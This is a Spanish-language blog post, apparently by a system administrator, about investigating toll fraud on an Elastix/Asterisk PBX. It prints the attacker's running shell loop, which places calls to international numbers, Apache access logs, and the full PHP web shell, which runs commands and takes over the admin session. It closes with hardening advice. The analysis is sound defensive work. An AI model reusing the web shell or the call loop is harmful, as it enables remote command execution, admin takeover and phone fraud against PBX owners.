De cómo abusan de tu elastix.

Categorías:

Se presenta un problema de multiples llamadas desde tu sistema de Elastix.

Buscando mas en detalle a nivel de servidor, estuve revisando todos los procesos que ejecutaba el usuario asterisk, en busca de procesos sospechosos. Es curioso como se ejecutaba cierto proceso constantemente, y analizando la situación un poco mejor, noto que marca a números internacionales. Echemos un vistazo a estos procesos

asterisk 18498   974  0 09:59 ?        00:00:00 /usr/sbin/httpd -DFOREGROUND
asterisk 18624   974  0 09:59 ?        00:00:00 /usr/sbin/httpd -DFOREGROUND
asterisk 18972   974  0 10:00 ?        00:00:00 /usr/sbin/httpd -DFOREGROUND
asterisk 24972 18624  0 10:17 ?        00:00:00 sh -c timebtncalls=2;duration="999";outbound="from-internal";prs="n,011,9011,8011,7011,0,00,000,0000,900,800,0011,811,911";numbers="22371301672,";orig=`/usr/sbin/asterisk -rx "channel originate"`; if echo $orig | grep Usage > /dev/null; then origi="channel originate"; elif echo $orig | grep "Unable to connect" >/dev/null; then echo "error:unable"; else origi="originate";  fi;if echo $origi | grep originate >/dev/null; then for pr in `echo $prs | tr ',' '\n'`; do for number in `echo $numbers | tr ',' '\n'`; do /usr/sbin/asterisk -rx "${origi} Local/${pr/n/}${number}@${outbound} application wait ${duration}" & sleep ${timebtncalls}; echo "${origi} Local/${pr/n/}${number}@${outbound}"; done done fi
asterisk 25010  7897  0 10:17 ?        00:00:00 sh -c timebtncalls=2;duration="999";outbound="from-internal";prs="n,011,9011,8011,7011,0,00,000,0000,900,800,0011,811,911";numbers="79407646357,";orig=`/usr/sbin/asterisk -rx "channel originate"`; if echo $orig | grep Usage > /dev/null; then origi="channel originate"; elif echo $orig | grep "Unable to connect" >/dev/null; then echo "error:unable"; else origi="originate";  fi;if echo $origi | grep originate >/dev/null; then for pr in `echo $prs | tr ',' '\n'`; do for number in `echo $numbers | tr ',' '\n'`; do /usr/sbin/asterisk -rx "${origi} Local/${pr/n/}${number}@${outbound} application wait ${duration}" & sleep ${timebtncalls}; echo "${origi} Local/${pr/n/}${number}@${outbound}"; done done fi
asterisk 25041 25010  0 10:17 ?        00:00:00 rasterisk asterisk -rx channel originate Local/01179407646357@from-internal application wait 999
asterisk 25048 24972  0 10:17 ?        00:00:00 rasterisk asterisk -rx channel originate Local/901122371301672@from-internal application wait 999
asterisk 25056 25010  0 10:17 ?        00:00:00 rasterisk asterisk -rx channel originate Local/901179407646357@from-internal application wait 999
asterisk 25057 25010  0 10:17 ?        00:00:00 sleep 2
asterisk 25064 24972  0 10:17 ?        00:00:00 rasterisk asterisk -rx channel originate Local/801122371301672@from-internal application wait 999
asterisk 25065 24972  0 10:17 ?        00:00:00 sleep 2

Nótese como se ejecuta un sh en el PID 24972, y cuyo padre es el PID 18624, el padre con PID 18624 ejecuta un httpd, lo cual inconfundiblemente indica que hay un script web que realiza toda esta operación.

Con esto en mente, voy a revisar los logs del apache, y encuentro lo siguiente …

 

[root@localhost httpd]# cat ssl_access_log
195.154.177.160 - - [13/Mar/2017:04:02:09 -0500] "POST /recordings/old-shell.php HTTP/1.1" 200 162
195.154.177.160 - - [13/Mar/2017:04:02:09 -0500] "POST /recordings/old-shell.php HTTP/1.1" 200 162
195.154.177.160 - - [13/Mar/2017:04:02:04 -0500] "POST /recordings/old-shell.php HTTP/1.1" 200 549
195.154.177.160 - - [13/Mar/2017:04:02:43 -0500] "GET /recordings/old-shell.php HTTP/1.1" 200 162
195.154.177.160 - - [13/Mar/2017:04:02:45 -0500] "POST /recordings/old-shell.php HTTP/1.1" 200 162
195.154.177.160 - - [13/Mar/2017:04:02:45 -0500] "POST /recordings/old-shell.php HTTP/1.1" 200 162
213.202.233.54 - - [13/Mar/2017:04:02:51 -0500] "GET /recordings/old-shell.php HTTP/1.1" 200 162
213.202.233.54 - - [13/Mar/2017:04:02:51 -0500] "POST /recordings/old-shell.php HTTP/1.1" 200 194
213.202.233.54 - - [13/Mar/2017:04:02:52 -0500] "POST /recordings/old-shell.php HTTP/1.1" 200 197
195.154.177.160 - - [13/Mar/2017:04:02:53 -0500] "POST /recordings/old-shell.php HTTP/1.1" 200 162
213.202.233.54 - - [13/Mar/2017:04:02:56 -0500] "GET /recordings/old-shell.php HTTP/1.1" 200 162
213.202.233.54 - - [13/Mar/2017:04:02:57 -0500] "POST /recordings/old-shell.php HTTP/1.1" 200 162
213.202.233.54 - - [13/Mar/2017:04:02:58 -0500] "POST /recordings/old-shell.php HTTP/1.1" 200 162
213.202.233.54 - - [13/Mar/2017:04:02:59 -0500] "POST /recordings/old-shell.php HTTP/1.1" 200 162
213.202.233.54 - - [13/Mar/2017:04:03:02 -0500] "GET /recordings/old-shell.php HTTP/1.1" 200 162

Como pueden apreciar, hay muchos llamados al script old-shell.php, desde ciertas IPs, que entre otras cosas, las publico para que las tengan en cuenta quienes son los desgraciados que abusan de tu PBX.

Voy entonces a revisar dicho archivo y encuentro este contenido ….

[root@localhost httpd]# more /var/www/html/recordings/old-shell.php
<form action="" method="post" ><input size=20 type=password name="p" /><input size=60 type=text name="c" /><input type=submit value="Hacked" /></form>

Hacked >
<?php
if(md5($_REQUEST['p'])=='fe732de226af5491a6266f9d5eaa62fc') 
{
@system($_REQUEST['c']); 
include_once "/var/www/html/libs/paloSantoDB.class.php"; 
include_once "/var/www/html/libs/paloSantoACL.class.php"; 
$pDB = new paloDB("sqlite3:////var/www/db/acl.db"); 
$db = $pDB->fetchTable("SELECT name, md5_password,extension from acl_user WHERE id ='1'"); 
session_name("elastixSession"); 
session_start(); 
$_SESSION['elastix_user'] = $db[0][0]; 
$_SESSION['elastix_pass'] = $db[0][1]; 
echo '<a href="/" >Emad__Was__Here</a>';
}
?>
[root@localhost httpd]#

Como necesitaba parar este tipo de ataques, lo que hice fue quitar todos los modos sobre esa carpeta

[root@localhost html]# chmod 000 recordings/
[root@localhost html]#

Y listo, el ataque ha cesado.

Obviamente esto no termina ahí, con mas calma es necesario revisar todos los archivos en busca de codigo malicioso.

No está de mas pensar en montar otra maquina nueva y definir como políticas, las siguientes

  • Restringir acceso al web de elastix solamente a las maquinas tuyas. NAdie en Internet tiene por que acceder a tu panel de administración web.
  • Denegar el acceso por SSH al root.
  • Pensar en implementar el famoso sistema de Port Knocking.
  • Restringir los accesos de las extensiones a las direcciones IPs establecidas.

Saludos…..

 

 

 

Sin respuestas

Deja un comentario